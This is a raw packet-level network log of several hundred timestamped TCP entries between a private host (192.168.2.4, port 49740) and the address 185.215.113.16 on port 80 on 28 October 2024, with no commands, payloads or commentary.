Oct 28, 2024 23:47:20.325990915 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.326024055 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.326073885 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.326101065 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.366653919 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.366684914 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.366776943 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.411349058 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.411395073 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.411427975 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.411472082 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.411508083 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.411544085 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.411577940 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.411580086 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.411614895 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.411616087 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.411689043 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.412273884 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.412309885 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.412345886 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.412375927 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.412447929 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.412460089 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.412808895 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.412842989 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.412878036 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.412931919 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.444207907 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.444242954 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.444302082 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.445205927 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.445259094 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.445293903 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.445295095 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.445331097 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.445342064 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.445365906 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.445400000 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.445435047 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.445471048 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.445480108 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.445507050 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.445559978 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.445559978 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.526660919 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.526700974 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.526740074 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.526854038 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.530370951 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.530437946 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.530472994 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.530508041 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.530544996 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.530591011 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.530661106 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.530766010 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.530817986 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.530853987 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.530888081 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.530921936 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.530930996 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.530953884 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.531563044 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.531596899 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.531630993 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.531668901 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.531696081 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.563077927 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.563188076 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.563220978 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.563255072 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.563290119 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.563343048 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.563380957 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.563420057 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.563421011 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.563421011 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.564034939 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.564068079 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.564102888 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.564106941 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.564141035 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.564177036 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.604996920 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.610443115 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.610511065 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.610583067 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.645487070 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.645523071 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.645555973 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.645685911 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.649068117 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.649097919 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.649147987 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.649179935 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.649213076 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.649246931 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.649307966 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.649353981 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.649806976 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.649841070 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.649874926 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.650016069 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.650207043 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.650239944 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.650276899 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.650310040 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.650317907 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.650372982 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.650836945 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.650887966 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.650950909 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.682338953 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.682374001 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.682409048 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.682482958 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.682493925 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.682519913 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.682652950 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.682698965 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.682753086 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.682760954 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.682805061 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.682840109 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.682872057 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.682892084 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.682960987 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.765073061 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.765125990 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.765161037 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.765193939 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.765228987 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.765230894 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.765319109 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.768238068 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.768292904 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.768345118 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.768368006 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.768388987 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.768405914 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.768423080 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.768677950 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.768728971 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.768735886 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.768785000 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.768790007 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.768814087 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.769296885 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.769330025 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.769354105 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.769366026 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.769397974 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.769401073 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.769449949 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.822283983 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.822307110 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.822324991 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.822340965 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.822360039 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.822510004 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.822510004 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.822644949 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.822660923 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.822678089 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.822715998 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.822715998 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.822734118 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.822745085 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.822791100 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.823484898 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.870524883 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.883985996 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.884041071 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.884076118 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.884109974 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.884134054 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.884146929 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.884166956 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.887007952 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.887064934 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.887094975 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.887141943 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.887147903 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.887182951 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.887192011 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.887218952 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.887231112 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.887255907 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.887306929 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.887990952 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.888020992 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.888133049 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.888186932 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.888190031 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.888241053 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.888242960 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.888276100 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.888309002 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.888360977 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.941265106 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.941325903 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.941360950 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.941390038 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.941395044 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.941431999 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.941461086 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.941536903 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.941587925 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.941591978 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.941643000 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.941679001 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.941709995 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.941713095 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.941765070 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.942496061 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.942529917 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.942563057 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.942612886 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.995472908 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.003282070 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.003374100 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.003410101 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.003434896 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.003444910 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.003479004 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.003493071 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.003515005 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.003562927 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.006046057 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.006083012 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.006119013 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.006139040 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.006211996 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.006244898 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.006262064 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.006278992 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.006320000 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.006664991 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.006699085 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.006731987 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.006745100 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.007138014 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.007170916 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.007189989 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.007211924 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.007245064 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.007262945 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.007663012 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.007687092 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.007709026 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.058017015 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.060230017 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.060297012 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.060333014 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.060353994 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.060369968 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.060408115 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.060425043 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.060503006 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.060556889 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.060560942 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.060612917 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.060647011 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.060666084 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.060683012 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.060739040 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.061460972 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.061547041 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.061580896 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.061599970 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.061614990 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.061676025 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.121591091 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.121623039 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.121675968 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.121680021 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.121710062 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.121756077 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.125072002 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.125107050 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.125159025 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.125161886 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.125191927 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.125226974 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.125241995 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.125663996 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.125699997 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.125720024 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.125734091 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.125788927 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.125823021 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.125858068 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.125895023 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.125911951 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.126270056 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.126306057 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.126322985 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.126342058 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.126395941 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.126399040 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.126431942 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.126485109 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.166481018 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.166510105 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.166557074 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.179048061 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.179105043 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.179137945 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.179163933 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.179173946 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.179208040 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.179218054 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.179469109 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.179497957 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.179527998 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.179650068 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.179702997 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.179708958 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.179770947 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.179805994 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.179821968 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.179841042 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.179889917 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.180552006 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.180586100 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.180620909 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.180633068 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.180655956 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.180707932 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.240523100 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.240557909 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.240607977 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.240611076 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.243813038 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.243845940 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.243875027 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.243879080 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.243932009 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.244015932 CET	80	49740	185.215.113.16	192.168.2.4
